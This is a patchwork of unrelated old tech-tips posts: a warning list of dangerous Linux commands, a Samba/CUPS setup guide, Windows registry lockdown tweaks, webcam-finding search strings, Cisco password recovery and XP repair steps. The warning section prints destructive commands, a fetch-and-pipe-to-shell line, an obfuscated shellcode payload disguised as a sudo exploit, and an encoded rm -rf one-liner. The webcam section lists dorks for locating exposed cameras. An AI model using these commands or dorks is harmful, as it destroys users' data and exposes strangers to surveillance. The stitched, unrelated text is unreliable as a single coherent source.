Malicious Commands Ubuntu / Linux Bad / Harmful / Risky Commands

As requested by some, for the education of our users, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data -- many of them will even cause damage from a LiveCD environment.

Again, DANGEROUS COMMANDS -- look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

Code:

rm -rf /
rm -rf .
rm -rf *

Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.

Code:

mkfs
mkfs.ext3
mkfs.anything

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:

Code:

any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)

Code:

:(){:|:&};:

In Perl

Code:

fork while fork

Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source

Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust

Code:

wget http://some_place/some_file
sh ./some_file

Code:

wget http://some_place/some_file -O- | sh

Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:

Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
               = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                 "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                 "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                 "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                 "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                 "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                 "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                 "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out.


Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:

Code:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

Configure The Network Samba/Ubuntu

Installing And Configuring The Rest Of The System

Enable root user

Now I can login with the username and password i entered above. First I enable the root user for ease of installation. You can disable it later if you want.

sudo passwd root
su

Now we are logged in as root user.

Configure The Network

Because the Ubuntu installer has configured our system to get its network settings via DHCP, we have to change that now because a server should have a static IP address. Edit /etc/network/interfaces and adjust it to your needs (in this example setup I will use the IP address 192.168.0.100):

# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # This is a list of hotpluggable network interfaces. # They will be activated automatically by the hotplug subsystem. mapping hotplug script grep map eth0 # The primary network interface auto eth0 iface eth0 inet static address 192.168.0.100 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 gateway 192.168.0.1

Then restart your network:

/etc/init.d/networking restart

Edit /etc/hosts and add your new IP address(es):

127.0.0.1 localhost.localdomain localhost server1 192.168.0.100 server1.example.com server1 # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts

Setting The Hostname

echo server1.example.com > /etc/hostname
/bin/hostname -F /etc/hostname

Edit /etc/apt/sources.list And Update Your Linux Installation

Edit /etc/apt/sources.list. It should look like this:

# deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted deb http://de.archive.ubuntu.com/ubuntu breezy main restricted deb-src http://de.archive.ubuntu.com/ubuntu breezy main restricted ## Major bug fix updates produced after the final release of the ## distribution. deb http://de.archive.ubuntu.com/ubuntu breezy-updates main restricted deb-src http://de.archive.ubuntu.com/ubuntu breezy-updates main restricted ## Uncomment the following two lines to add software from the 'universe' ## repository. ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## universe WILL NOT receive any review or updates from the Ubuntu security ## team. deb http://de.archive.ubuntu.com/ubuntu breezy universe deb-src http://de.archive.ubuntu.com/ubuntu breezy universe ## Uncomment the following two lines to add software from the 'backports' ## repository. ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. # deb http://de.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse # deb-src http://de.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse deb http://security.ubuntu.com/ubuntu breezy-security main restricted deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted deb http://security.ubuntu.com/ubuntu breezy-security universe deb-src http://security.ubuntu.com/ubuntu breezy-security universe

Then run

apt-get update
apt-get upgrade

Install SSH Daemon

apt-get install ssh openssh-server

The Next Steps...

Now you can login to your Server with an SSH Client like putty (http://www.chiark.greenend.org.uk/~sgtatham/putty/). Its easier to follow this howto if you connect to your server with putty and copy and paste the commands. If you want to edit config files on the server, you can use commandline editors like vi, pico or joe or use a program like WinSCP (http://winscp.net/eng/index.php) to edit the files over your SSH connection in a Windows client.

Quota

apt-get install quota

Edit /etc/fstab to look like this (I added ,usrquota,grpquota to the partitions with the mount point / and /home):

# /etc/fstab: static file system information. # # proc /proc proc defaults 0 0 /dev/sda3 / ext3 defaults,errors=remount-ro,usrquota,grpquota 0 1 /dev/sda1 /boot ext3 defaults 0 2 /dev/sda4 /home ext3 defaults,usrquota,grpquota 0 2 /dev/sda2 none swap sw 0 0 /dev/hdc /media/cdrom0 udf,iso9660 ro,user,noauto 0 0 /dev/fd0 /media/floppy0 auto rw,user,noauto 0 0

Then run:

touch /quota.user /quota.group
chmod 600 /quota.*
mount -o remount /
touch /home/quota.user /home/quota.group
chmod 600 /home/quota.*
mount -o remount /home
quotacheck -avugm
quotaon -avug

Install And Configure The SAMBA Server

In order to install SAMBA, run

apt-get install samba samba-common samba-doc libcupsys2-gnutls10 libkrb53 winbind smbclient

Edit /etc/samba/smb.conf so that it looks like this

[global] workgroup = MYWORKGROUP netbios name = SERVER1 server string = %h server (Samba, Ubuntu) passdb backend = tdbsam security = user username map = /etc/samba/smbusers name resolve order = wins bcast hosts domain logons = yes preferred master = yes wins support = yes # Set CUPS for printing printcap name = CUPS printing = CUPS # Default logon logon drive = H: logon script = scripts/logon.bat logon path = \\server1\profile\%U # Useradd scripts add user script = /usr/sbin/useradd -m %u delete user script = /usr/sbin/userdel -r %u add group script = /usr/sbin/groupadd %g delete group script = /usr/sbin/groupdel %g add user to group script = /usr/sbin/usermod -G %g %u add machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %u idmap uid = 15000-20000 idmap gid = 15000-20000 # sync smb passwords woth linux passwords passwd program = /usr/bin/passwd %u passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n . passwd chat debug = yes unix password sync = yes # set the loglevel log level = 3 [homes] comment = Home valid users = %S read only = no browsable = no [printers] comment = All Printers path = /var/spool/samba printable = yes guest ok = yes browsable = no [netlogon] comment = Network Logon Service path = /home/samba/netlogon admin users = Administrator valid users = %U read only = no [profile] comment = User profiles path = /home/samba/profiles valid users = %U create mode = 0600 directory mode = 0700 writable = yes browsable = no

Remark: The "netbios name" in the smb.conf must be the same then the hostname of your server.

workgroup = MYWORKGROUP specifies the Windows domain that the Windows workstations use.

logon drive = H: is the drive letter under which the SAMBA share will appear in the Windows Explorer.

With logon script = scripts/logon.bat you can specify a Windows batch script that is executed as soon as a Windows workstation logs in. If the script does not exist, you can comment out that line.

Create the directories for domain logons and profiles:

mkdir /home/samba
mkdir /home/samba/netlogon
mkdir /home/samba/profiles
mkdir /var/spool/samba
chmod 777 /var/spool/samba/
chown -R root:users /home/samba/
chmod -R 771 /home/samba/

Now we restart Samba:

/etc/init.d/samba restart

Edit /etc/nsswitch.conf. Change the line:

hosts: files dns

to:

hosts: files wins dns

Add all computers of your workgroup in the /etc/hosts file on the server.

192.168.0.100 server1 192.168.0.110 workstation1 192.168.0.111 workstation2 192.168.0.112 workstation3 192.168.0.113 workstation4

Add the root user to the SAMBA password database. The root user (alias: Administrator) will be our domain administrator. This account is needed to add new computers to the SAMBA domain.

smbpasswd -a root

Create the file /etc/samba/smbusers and add the line by executing:

echo "root = Administrator" > /etc/samba/smbusers

This will allow us to use the common windows username "Administrator" as alias for the Linux root user.

Now I will test if the setup is correct:

smbclient -L localhost -U%

The output should look similar to this:

Domain=[MYWORKGROUP] OS=[Unix] Server=[Samba 3.0.14a-Ubuntu] Sharename Type Comment --------- ---- ------- netlogon Disk Network Logon Service print$ Disk Printer Drivers IPC$ IPC IPC Service (server1 server (Samba, Ubuntu)) ADMIN$ IPC IPC Service (server1 server (Samba, Ubuntu)) Domain=[MYWORKGROUP] OS=[Unix] Server=[Samba 3.0.14a-Ubuntu] Server Comment --------- ------- SERVER1 server1 server (Samba, Ubuntu) Workgroup Master --------- ------- MDKGROUP IPRG MYWORKGROUP SERVER1

Setup the default domain groups for windows:

net groupmap modify ntgroup="Domain Admins" unixgroup=root
net groupmap modify ntgroup="Domain Users" unixgroup=users
net groupmap modify ntgroup="Domain Guests" unixgroup=nogroup

Adding Users To Our SAMBA Domain

Now we will add a user, e.g. tom, to our Samba domain. You will have to add a user like this for each user account you want to connect to this SAMBA domain server.

1) Add a linux user tom:

useradd tom -m -G users

2) Add the linux user tom to the SAMBA password database:

smbpasswd -a tom

Adding Shares

Now I will add a share that is accessible by all users.

mkdir -p /home/shares/allusers
chown -R root:users /home/shares/allusers/
chmod -R ug+rwx,o+rx-w /home/shares/allusers/

At the end of the file /etc/samba/smb.conf add the following lines:

[allusers] comment = All Users path = /home/shares/allusers valid users = @users force group = users create mask = 0660 directory mask = 0771 writable = yes

Now we restart Samba:

/etc/init.d/samba restart

Installing CUPS

If you want your SAMBA server to act as a print server also, you have to install and configure CUPS:

apt-get install cupsys cupsys-client cupsys-driver-gimpprint cupsys-driver-gimpprint-data defoma fontconfig foomatic-db foomatic-filters libcupsimage2 libexpat1 libfontconfig1 libfreetype6 libgimpprint1 libjpeg62 libpaper1 libpng12-0 libpoppler0c2 libslp1 libtiff4 patch perl perl-modules ttf-bitstream-vera ucf (1 line!)

To get access to the web interface from my workstation, I will change cups to listen on the Server IP.
Edit /etc/cups/cupsd.conf in the section Network Options:

Listen 127.0.0.1:631 Listen 192.168.0.100:631

Set AuthGroupName to shadow in the section Security Options:

AuthGroupName shadow

To allow access only from my admin workstation (IP: 192.168.0.70), I add Allow From 192.168.0.70 the security options and set AuthClass to Group:

# # You definitely will want to limit access to the administration functions. # The default configuration requires a local connection from a user who # is a member of the system group to do any admin tasks. You can change # the group name using the SystemGroup directive. # AuthType Basic AuthClass Group ## Restrict access to local domain Order Deny,Allow Deny From All Allow From 127.0.0.1 Allow From 192.168.0.70 #Encryption Required

Add the cupsys user to the shadow group:

adduser cupsys shadow

and restart the cups daemon:

/etc/init.d/cupsys restart

The cups webinterface is now accessible with any webbrowser from my workstation:

http://192.168.0.100:631/

Now I can login to the cups interface with username root and my root password.

Hint: If there is no linux driver available for your printer and you want to use this printer only from your windows workstations trough SAMBA, you can use the printer manufacturer RAW and install the correct driver on your windows workstation.

If you created a new printer in cups, you will have to add it to samba with the command:

cupsaddsmb -a

Have fun!

Links

• http://www.ubuntu.com
• http://www.samba.org
• http://www.cups.org

All trademarks belong to their respective owner.

HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies

Launch Regedit and go to the following Registry Key:
HKEY_CURRENT_USER/Software/M*cro$oft/CurrentVersion/Policies
Under this key, there will definitely be a key named explorer. Now under this
explorer key we can create new DWORD values and modify it's value to 1 in order to
impose the restriction. If you want to remove the Restriction, then you can simply
delete the respective DWORD values or instead change their values to 0. The
following is a list of DWORD values that can be created under the Explorer Key-:
NoDeletePrinter: Disables Deletion of already installed Printers
NoAddPrinter: Disables Addition of new Printers
NoRun : Disables or hides the Run Command
NoSetFolders: Removes Folders from the Settings option on Start Menu (Control
Panel, Printers, Taskbar)
NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start
Menu
NoFind: Removes the Find Tool (Start >Find)
NoDrives: Hides and does not display any Drives in My Computer
NoNetHood: Hides or removes the Network Neighborhood icon from the desktop
NoDesktop: Hides all items including, file, folders and system folders from the
Desktop
NoClose: Disables Shutdown and prevents the user from normally shutting down
Windows.
NoSaveSettings: Means to say, 'Don't save settings on exit'
DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the
Windows Registry Editor(regedit.exe) too will not work.)
NoRecentDocsHistory: Removes Recent Document system folder from the Start
Menu (IE 4 and above)
ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.
Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop
Under the same key:
HKEY_CURRENT_USER/Software/M*cro$oft/CurrentVersion/Policies you can create
new subkeys other than the already existing Explorer key. Now create a new key and
name it System. Under this new key, system we can create the following new
DWORD values(1 for enabling the particular option and 0 for disabling the particular
option):
· NODispCPL: Hides Control Panel
· NoDispBackgroundPage: Hides Background page.
· NoDispScrsavPage: Hides Screen Saver Page
· NoDispAppearancePage: Hides Appearance Page
· NoDispSettingsPage: Hides Settings Page
· NoSecCPL: Disables Password Control Panel
· NoPwdPage: Hides Password Change Page
· NoAdminPaqe: Hides Remote Administration Page
· NoProfilePage: Hides User Profiles Page
· NoDevMgrPage: Hides Device Manager Page
· NoConfigPage: Hides Hardware Profiles Page
· NoFileSysPage: Hides File System Button
· NoVirtMemPage: Hides Virtual Memory Button
Similarly, if we create a new subkey named WinOldApp, we can add the following
DWORD values under it(1 for enabling the particular option and 0 for disabling the
particular option):
Disabled: Disable MS-DOS Prompt
NoRealMode: Disable Single-Mode MS-DOS.

Access Webcams With Google

A network camera is a camera which is linked to a network and/or the internet. There is no need for a PC. The cam has a mini-PC in it-self!



The camera can be easily accesed with an internet browser. The camera image is usually placed in a certain web page...

Someone has already done a lot of homework and compiled a list of open cameras, you can see this list at www.griffid.com/htm/live_images.html However, lets find our own cameras!

Rufus at http://wonder.i.am has put together a nice list of google hacks that we can use to find these cams..

Axis cameras:

* /view/view.shtml axis 'google'
* "adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera" 'google'
* "Live view - / - AXIS" 'google'
* "Your browser has JavaScript turned off.For the user interface to work effectively" 'google'
* indexFrame.html axis 'google'
* "Live web imaging unleashed" 'google'

I-Hacked Member: Pay submitted this cool hack..
Find axis 205 webcams with dynamic dns. http://www.axis.com/files/manuals/205_qig_en_21121.pdf http://www.google.com/search?q=allinurl:ax...art=40&sa=N open startmenu open run type cmd (command in early versions of windows)
type nslookup
type server roy.axis.se OR server siegfried.axis.se
ls -d axiscam.net
OR to get a outputfile ls -d axiscam.net >> axiscam.net.txt

Canon cameras:

* sample/LvAppl/ 'google'

MOBOTIX cameras:

* /control/userimage.html 'google'

JVC cameras:

* "©copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved" 'google' (- finaly I got to know the
meaning of the letters in the brand name JVC
* "V.Networks [Motion Picture(Java)" 'google'
* "Control the Pan/Tilt and move to the Preset Position" 'google'

FlexWatch cameras:

* /app/idxas.html 'google'
* "Saving & Retrieving Mode" 'google'

Panasonic cameras:

* /ViewerFrame?Mode=Motion 'google '

TOSHIBA cameras (maybe you need Java):

* "TOSHIBA Network Camera - User Login" 'google'

Sony cameras:

* /home/homeJ.html 'google'

webcamXP (software):

* "my webcamXP server!" 'google'

Password Recovery Techniques, For Cisco Routers

Password Recovery Techniques
---------------------------------------------------------------------------
Introduction
This document will explain several password recovery techniques for Cisco
routers. You can perform password recovery on most of the platforms without
changing hardware jumpers, but all platforms require the router to be
reloaded. Password recovery can only be done from the console port
physically attached to the router.
There are three ways to restore enable access to a router when the password
is lost. You can VIEW the password, CHANGE the password, or ERASE the
configuration and start over as if the box was new.
Each procedure follows these basic steps:
1. Configure the router to boot up without reading the configuration
memory (NVRAM). This is sometimes called the test system mode.
2. Reboot the system.
3. Access enable mode (which can be done without a password if you are in
test system mode).
4. VIEW or CHANGE the password, or ERASE the configuration.
5. Reconfigure the router to boot up and read the NVRAM as it normally
does.
6. Reboot the system.
NOTE: Some password recovery requires that a terminal issues a
Break signal; you must be familiar with how your terminal or PC
terminal emulator issues this signal. For example, in ProComm,
the keys Alt-B will by default generate the Break signal, and in
Windows Terminal you press Break or CTRL-Break. Windows Terminal
also allows you to define a function key as BREAK. From the
terminal window, select Function Keys and define one as break by
filling in the characters ^$B (Shift 6, Shift 4, and Capital .
The following six sections contain detailed instructions for specific Cisco
routers. Locate your router in the section headings to determine which
technique to use.
Technique #1
All Cisco 2000 Series, 2500 Series, 3000 Series, 680x0-Based 4000 Series,
7000 Series Running 10.0 or Later in ROMs, IGS Series Running 9.1 or Later
in ROMs
This technique can be used on the 7000 and 7010 only if the router has 10.0
ROMs installed on the RP card. It may be booting Flash 10.0 software, but
it needs the actual ROMs on the processor card as well.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Type "show version" and record the setting of the configuration
register. It is usually 0x2102 or 0x102.
3. Power the router down, then up.
4. Press the Break key on the terminal within 60 seconds of the power up.
You will see the > prompt with no router name. If you don't, the
terminal is not sending the correct Break signal. In that case, check
the terminal or terminal emulation setup.
5. Type "o/r0x42" at the > prompt to boot from Flash or "o/r 0x41" to
boot from the boot ROMs. Note that this is the letter "o," not the
numeral zero. If you have Flash and it is intact, 0x42 is the best
setting. Use 0x41 only if the Flash is erased or not installed.
NOTE: If you use 0x41, you can only view or erase the
configuration. You cannot change the password.
6. Type "i" at the > prompt. The router will reboot but will ignore its
saved configuration.
7. Answer "no" to all the setup questions.
8. Type "enable" at the "Router>" prompt. You'll be in enable mode and
see the "Router#" prompt.
9. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase.
10. Type "config term" at the prompt.
11. Type "config-register 0x2102," or whatever value you recorded in step
2.
12. Hit Ctrl-Z to quit from editor.
13. Type "reload" at the prompt. You do not need to write memory.
Technique #2
Cisco 1003, 4500, or IDT Orion-Based Routers
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Type "show version" and record the setting of the configuration
register. It is usually 0x2102 or 0x102.
3. Power the router down, then up.
4. Press the Break key on the terminal within 60 seconds of the power up.
You will see the "rommon>" prompt. If you don't, the terminal is not
sending the correct Break signal. In that case, check the terminal or
terminal emulation setup.
5. Type "confreg" at the "rommon>" prompt.
6. Answer "y" to the "Do you wish to change configuration[y/n]?" prompt.
7. Answer "n" to all of the questions that appear until you reach the
"ignore system config info[y/n]?" prompt. Answer "y."
8. Answer "n" to the remaining questions until you reach the "change boot
characteristics[y/n]?" prompt. Answer "y."
9. At the "enter to boot:" prompt, type "2" followed by a carriage
return. If Flash is erased, type "1." If all Flash is erased, the 4500
must be returned to Cisco for service.
NOTE: If you use "1," you can only view or erase the
configuration. You cannot change the password.
10. A configuration summary is printed. Answer "n" to the "Do you wish to
change configuration[y/n]?" prompt.
11. Type "reset" at the "rommon>" prompt, or power cycle your 4500 or
7500.
12. Once it boots up, answer "no" to all the Setup questions.
13. Type "enable" at the "Router>" prompt. You'll be in enable mode and
see the "Router#" prompt.
14. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
15. Type "config term" at the prompt.
16. Type "config-register 0x2102" or whatever value you recorded in step
2.
17. Hit Ctrl-Z to quit from the editor.
18. Type "reload" at the prompt. You do not need to write memory.
Technique #3
IGS Routers Running Software Earlier Than 9.1
IGS routers have a bank of DIP switches on the rear panel. If they are
running software earlier than 9.1, then these switches are used for
password recovery.
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Record the settings of the switches on the rear panel.
4. Set switch 7 ON (or down).
5. Set switches 0-3 OFF (or up).
6. Power the router up. It will boot up to the > prompt.
7. Type "b" at the > prompt. The router is in test-system mode.
8. Press return until the "Test-System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase".
11. Restore the switch setting to those recorded in step 3.
12. Reboot the router.
Technique #4
CGS, MGS, AGS, AGS+, 70x0 Running ROMs Lower Than 10.0
1. Attach a terminal or PC with terminal emulation to the console port of
the router.
2. Power the router down.
3. Remove the processor card (CSC/2 or CSC/3 or CSC/4 on AGS/CGS/MGS, or
RP on a 70x0).
4. Change the hardware register from bit position 0 (or 1) to position
15.
5. Re-insert the processor card.
6. Power the router up.
7. Press "b" at the > prompt or "b flash" if you have Flash memory
installed.
8. Press return until the "Test-System>" prompt appears.
9. Type "enable" at the prompt. You'll be in enable mode and see the
"Test-System#" prompt.
10. Choose one of these three options:
o To VIEW the password type "show config."
o To CHANGE the password (in case it is encrypted, for example):
a. Type "config mem" to copy the NVRAM into memory.
b. Type "config term" and make the changes to the configuration.
conf t
enable password password
ctrl-z
c. Type "write mem" to commit the changes.
o To ERASE the config, type "write erase."
11. Power the router down.
12. Remove the processor card and return the jumper on pin 15 to its
original position.
13. Power the router up.
Technique #5
500-CS Communication Servers
The password cannot be recovered from the 500-CS since it does not have a
console port. Your only option is to erase the configuration.
1. Power the router off by unplugging it.
2. Depress and hold the DEFAULT button on the front of the chassis.
3. Power the router back on.
4. Watch the OK and LAN LEDs. They will blink on, and then off.
5. When they blink off (after about 15 seconds), release the DEFAULT
button.
6. In 2-10 minutes, the 500-CS will enter setup mode as if it was factory
new.
7. Configure the router.
You could also recover a password on a 500 by holding the DEFAULT button
down for 30-45 seconds. The system will then be in test mode, and you can
follow the normal procedure for password recovery. See the earlier sections
for details.
Technique #6
Cisco 1020
You must call the Cisco TAC to recover Cisco 1020 passwords. The 1020 will
issue a password override challenge that can only be interpreted by TAC
personnel.

Disposable Email Address

very handy for sites that send u passwords or activation links on your email....also helps protect your actual email from spam

http://10minutemail.com/10MinuteMail/index.html

Hide All The Desktop Icons

Here is a simple trick to hide all your desktop icons .
Just go to Start->run.Type regedit.

Go to HKEY_CURRENT_USER,then go to Software,then M*cro$oft,then to Windows,go to Current version,then policies and then click on explorer.

On the right hand side,right click and click on New.Then select DWORD value.
Rename this value as "NoDesktop" (without the quotes).Click on it and set its value to 1 in the value data space.Now restart your pc or just log off and log in back.

You will see that all your Desktop icons are gone.
To get back your icons,go to the DWORD value you created,now either delete it or set its value to 0.

In both cases you will get back all your icons.Try it out.

Windows Xp Repair, How to repaire windows XP without installation

Some Windows XP Repair Tricks ........

Repair Install
If XP is corrupted to the point where none of the previous solutions get it to boot,
you can do a Repair Install that might work as well as keep the current settings.
Make sure you have your valid WindowsXP key.
The whole process takes about half an hour depending on your computer
If you are being prompted for the administrator's password, you need to choose the 2nd repair option, not the first.

Insert and boot from your WindowsXP CD
At the second R=Repair option, press the R key
This will start the repair
Press F8 for I Agree at the Licensing Agreement
Press R when the directory where WindowsXP is installed is shown. Typically this is C:\WINDOWS
It will then check the C: drive and start copying files
It will automatically reboot when needed. Keep the CD in the drive.
You will then see the graphic part of the repair that is like during a normal install of XP (Collecting Information, Dynamic Update, Preparing Installation, Installing Windows, Finalizing Installation)
When prompted, click on the Next button
When prompted, enter your XP key
Normally you will want to keep the same Workgroup or Domain name
The computer will reboot
Then you will have the same screens as a normal XP Install
Activate if you want (usually a good idea)
Register if you want (but not necessary)
Finish
At this point you should be able to log in with any existing accounts.

--------------------------------------------------------------------------------

NTOSKRNL Missing or Corrupt
If you get an error that NTOSKRNL not found:

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Change to the drive that has the CD ROM.
CD i386
expand ntkrnlmp.ex_ C:\Windows\System32\ntoskrnl.exe
If WindowsXP is installed in a different location, just make the necessary change to C:\Windows
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

HAL.DLL Missing or Corrupt
If you get an error regarding a missing or corrupt hal.dll file, it might simply be the BOOT.INI file on the root of the C: drive that is misconfigured

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Type bootcfg /list to show the current entries in the BOOT.INI file
Type bootcfg /rebuild to repair it
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

Corrupted or Missing \WINDOWS\SYSTEM32\CONFIG
If you get the error:
Windows could not start because the following files is missing or corrupt
\WINDOWS\SYSTEM32\CONFIG\SYSTEM or \WINDOWS\SYSTEM32\CONFIG\SOFTWARE

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
cd \windows\system32\config
Depending on which section was corrupted:
ren software software.bad or ren system system.bad
Depending on which section was corrupted
copy \windows\repair\system
copy \windows\repair\software
Take out the CD ROM and type exit

--------------------------------------------------------------------------------

NTLDR or NTDETECT.COM Not Found
If you get an error that NTLDR is not found during bootup,

If you have FAT32 partitions, it is much simpler than with NTFS.
Just boot with a Win98 floppy and copy the NTLDR or NTDETECT.COM files
from the i386 directory to the root of the C:\ drive.

For NTFS:

Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
Enter in the following commands (X: is replaced by the actual drive letter that is assigned to the CD ROM drive.
COPY X:\i386\NTLDR C\:
COPY X:\i386\NTDETECT.COM C:\
Take out the CD ROM and type exit

Lock Your System On Mouse Click

Lock your System on Mouse Click

Feel hard to press CTRL+ALT+DEL to lock your machine ??????
Try this and create the icon to lock the machine.


1. Right click an empty spot on the desktop, point to New and click Shortcut.

2. In the Create Shortcut dialog box, type the following in the 'Type the location' of the item text box:

"rundll32 user32.dll,LockWorkStation" remove quotes while typing.

3. Click Next.

4. In "Type a name for this shortcut", type "" (any name as u wish) and Click Finish

5. Create a shortcut in your shortcut bar & use it

Trippling Your Download Speeds

Here is how to triple ur speeds.

I went from 190kb/s up to 600kb/s so that should tell you something

If it damage your computer, I take no responsibility.
___________________________________________________________________________________________________

open notepad and paste the following

REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"TcpWindowSize"=dword:faf0
"Tcp1323Opts"=dword:0

Save this file with the name tweak.reg

Right click and click install

Reboot ur comp for it to take effect
_________________________________________________________________________________
TO UNDO THE CHANGES
_________________________________________________________________________________



If you want to undo it, incase it messed u up,
COPY THE CODE BELLOW IN NOTEPAD
save the file u will make bellow in the name undo.inf

[Version]
signature=$CHICAGO$

[DefaultInstall]
DelReg=Delete_Reg_Entries


[Delete_Reg_Entries]
HKLM,System\CurrentControlSet\Services\Tcpip\Parameters,TcpWindowSize
HKLM,System\CurrentControlSet\Services\Tcpip\Parameters,Tcp1323Opts

Right click on undo.info and click install (to undo tweak)

Reboot ur comp for it to take effect

Many have tried it but it worked only for half of them

Ms-dos Commands

Command Prompt
-------------------------------------------------------------------
ANSI.SYS - Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND - Causes MS-DOS to look in other directories when editing a file or running a command.
ARP - Displays, adds, and removes arp information from network devices.
ASSIGN - Assign a drive letter to an alternate letter.
ASSOC - View the file associations.
AT - Schedule a time to execute commands or programs.
ATMADM - Lists connections and addresses seen by Windows ATM call manager.
ATTRIB - Display and change file attributes.

BATCH - Recovery console command that executes a series of commands in a file.
BACKUP - Enables users to backup their data on their computer.
BOOTCFG - Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK - Enable / disable CTRL + C feature.

CACLS - View and modify file ACL's.
